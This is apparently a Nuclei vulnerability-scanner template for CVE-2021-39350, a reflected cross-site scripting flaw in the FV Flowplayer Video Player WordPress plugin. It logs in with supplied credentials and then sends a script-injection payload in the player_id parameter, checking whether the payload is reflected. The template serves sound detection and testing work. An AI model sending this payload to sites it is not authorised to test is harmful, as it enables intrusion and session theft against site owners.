nuclei-templates/http/cves/2021/CVE-2021-39350.yaml

id: CVE-2021-39350

info:
  name: FV Flowplayer Video Player WordPress plugin  - Authenticated Cross-Site Scripting
  author: gy741
  severity: medium
  description: The FV Flowplayer Video Player WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the player_id parameter found in the ~/view/stats.php file which allows attackers to inject arbitrary web scripts in versions 7.5.0.727 - 7.5.2.727.
  impact: |
    Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary JavaScript code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the FV Flowplayer Video Player WordPress plugin to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/e9adc166-be7f-4066-a2c1-7926c6304fc9
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39350
    - https://plugins.trac.wordpress.org/changeset/2580834/fv-wordpress-flowplayer/trunk/view/stats.php
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39350
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-39350
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43162
    cpe: cpe:2.3:a:foliovision:fv_flowplayer_video_player:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: foliovision
    product: fv_flowplayer_video_player
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,xss,wp,wp-plugin,authenticated,foliovision

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=fv_player_stats&player_id=1</script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "<h1>FV Player Stats</h1>"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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